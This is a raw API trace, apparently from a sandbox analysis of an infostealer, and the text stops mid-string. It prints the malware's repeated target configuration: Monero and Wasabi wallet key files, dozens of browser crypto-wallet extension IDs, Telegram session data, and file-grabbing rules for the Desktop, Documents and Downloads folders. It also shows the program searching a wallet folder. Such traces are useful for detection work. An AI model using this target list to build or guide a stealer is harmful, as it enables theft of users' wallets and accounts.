Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.307] lstrlenW (lpString="mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3490 [0266.307] LocalAlloc (uFlags=0x40, uBytes=0x1bc4) returned 0x6f4830 [0266.307] StrCpyW (in: psz1=0x6f1ee8, psz2="*cache*" | out: psz1="*cache*") returned="*cache*" [0266.307] LocalFree (hMem=0x6f4830) returned 0x0 [0266.308] StrToIntW (lpSrc="26") returned 26 [0266.308] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6bf278 [0266.308] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6bf278, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.308] PathCombineW (in: pszDest=0x6bf278, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming", pszFile="MyMonero" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\MyMonero") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\MyMonero" [0266.308] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f4830 [0266.308] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x706848 [0266.308] StrCpyW (in: psz1=0x706848, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\MyMonero" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\MyMonero") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\MyMonero" [0266.308] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\MyMonero\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\mymonero\\*"), lpFindFileData=0x24f880 | out: lpFindFileData=0x24f880*(dwFileAttributes=0x6e2786, ftCreationTime.dwLowDateTime=0x751dc35e, ftCreationTime.dwHighDateTime=0x6bf278, ftLastAccessTime.dwLowDateTime=0x23, ftLastAccessTime.dwHighDateTime=0x24f89c, ftLastWriteTime.dwLowDateTime=0xe1, ftLastWriteTime.dwHighDateTime=0x24f8e2, nFileSizeHigh=0x3a0043, nFileSizeLow=0x55005c, dwReserved0=0x650073, dwReserved1=0x730072, cFileName="\\kEecfMwgj\\AppData\\Roaming\\MyMonero", cAlternateFileName="kk")) returned 0xffffffff [0266.308] LocalFree (hMem=0x6f4830) returned 0x0 [0266.309] LocalFree (hMem=0x6bf278) returned 0x0 [0266.309] LocalFree (hMem=0x6fe628) returned 0x0 [0266.309] LocalFree (hMem=0x700f70) returned 0x0 [0266.310] LocalFree (hMem=0x7038b8) returned 0x0 [0266.311] LocalFree (hMem=0x6ef5a0) returned 0x0 [0266.311] LocalFree (hMem=0x6f1ee8) returned 0x0 [0266.312] StrStrW (lpFirst="wlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="wlts_") returned="wlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.312] StrStrW (lpFirst="xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=":") returned=":Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.312] StrStrW (lpFirst="Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension 